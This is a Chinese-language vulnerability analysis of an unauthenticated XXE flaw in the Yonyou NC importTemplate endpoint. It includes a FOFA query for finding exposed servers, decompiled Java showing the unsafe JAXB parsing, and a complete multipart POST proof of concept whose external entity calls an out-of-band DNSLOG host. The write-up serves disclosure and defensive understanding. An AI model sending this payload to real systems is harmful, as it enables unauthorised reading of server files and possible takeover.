漏洞简介
用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC importTemplate 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件,进一步利用可导致服务器失陷。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官方漏洞通告:

portal/pt/portaltemplate/importTemplate 接口存在xml注入漏洞,从而窃取服务器敏感信息。结合用友NC的路由文件结构,可知接口所在文件为 PortalTemplate ,直接搜索相关文件,得到业务逻辑如下
package nc.uap.portal.action;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import nc.uap.ctrl.pa.tools.TemplateOperTools;
import nc.uap.lfw.core.AppInteractionUtil;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.log.PortalLogger;
import nc.vo.ml.NCLangRes4VoTransl;
import org.apache.commons.collections.MapUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.StringUtils;
import org.springframework.web.multipart.MultipartException;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import org.springframework.web.multipart.MultipartResolver;
import org.springframework.web.multipart.commons.CommonsMultipartResolver;
@Servlet(path="/portaltemplate")
public class PortalTemplateAction
extends BaseAction {
private static MultipartResolver multipartResolver = new CommonsMultipartResolver();
/*
* WARNING - Removed try catching itself - possible behaviour change.
*/
@Action
public void importTemplate() throws IOException {
MultipartHttpServletRequest req = PortalTemplateAction.getMultipartResolver(this.request);
Map fileMap = req.getFileMap();
ArrayList files = new ArrayList();
String billitem = req.getParameter("billitem");
if ("null".equals(billitem) || StringUtils.isBlank((String)billitem)) {
AppInteractionUtil.showMessageDialog((String)NCLangRes4VoTransl.getNCLangRes().getStrByID("bd", "PortalTemplateAction-000000"));
return;
}
if (MapUtils.isNotEmpty((Map)fileMap)) {
files.addAll(fileMap.values());
}
String name = ((MultipartFile)files.get(0)).getOriginalFilename();
InputStream in = ((MultipartFile)files.get(0)).getInputStream();
try {
TemplateOperTools.doImPort((InputStream)in, (String)billitem);
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("bd", "PortalTemplateAction-000001") + name + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000003"));
}
catch (Throwable e) {
PortalLogger.error((String)e.getMessage(), (Throwable)e);
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000005") + e.getMessage());
}
finally {
IOUtils.closeQuietly((InputStream)in);
}
}
private static MultipartHttpServletRequest getMultipartResolver(HttpServletRequest request) throws MultipartException {
((CommonsMultipartResolver)multipartResolver).setDefaultEncoding("UTF-8");
return multipartResolver.resolveMultipart(request);
}
}
指定了访问路由 /portaltemplate ,而 importTemplate 方法里的 billitem 通过参数获取值后,经过判断不为空或者null,且同时存在文件上传内容, 则会将二者带入 TemplateOperTools.doImPort 函数
public static void doImPort(InputStream in, String pk_template) throws IOException, LfwBusinessException {
String xml = IOUtils.toString((InputStream)in);
TemplatePackObj packObj = (TemplatePackObj)JaxbMarshalFactory.newIns().encodeXML(TemplatePackObj.class, xml);
if (packObj == null) {
throw new LfwBusinessException(" file content illegal ");
}
UwTemplateVO tmplate = TemplateOperTools.getQryTmpService().getTemplateVOByPK(pk_template);
if (tmplate == null || !tmplate.getWindowid().equals(packObj.getId())) {
throw new LfwRuntimeException("File id is " + packObj.getId() + ",but this template window id is " + tmplate.getWindowid() + "!");
}
使用 JaxbMarshalFactory.newIns().encodeXML(TemplatePackObj.class, xml) 对输入的 XML 字符串 (xml) 进行解析,并将其转换为 TemplatePackObj 对象。
默认情况下,JAXB 底层使用的解析器是允许解析 XML 文档中定义的外部实体的,且 in 输入流的内容直接被当作 XML 内容进行解析,造成XXE漏洞。
漏洞复现
POST /portal/pt/portaltemplate/importTemplate?pageId=login&billitem=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=----123456
Host: nc.mrxn.net
X-Forwarded-For: 127.0.0.1
------123456
Content-Disposition: form-data; name="file"; filename="1.png"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe1.test.dnslog.test/xxe_test">%remote;]>
<root/>
------123456--
DNSLOG 平台成功收到响应

参考
https://security.yonyou.com/#/noticeInfo?id=679





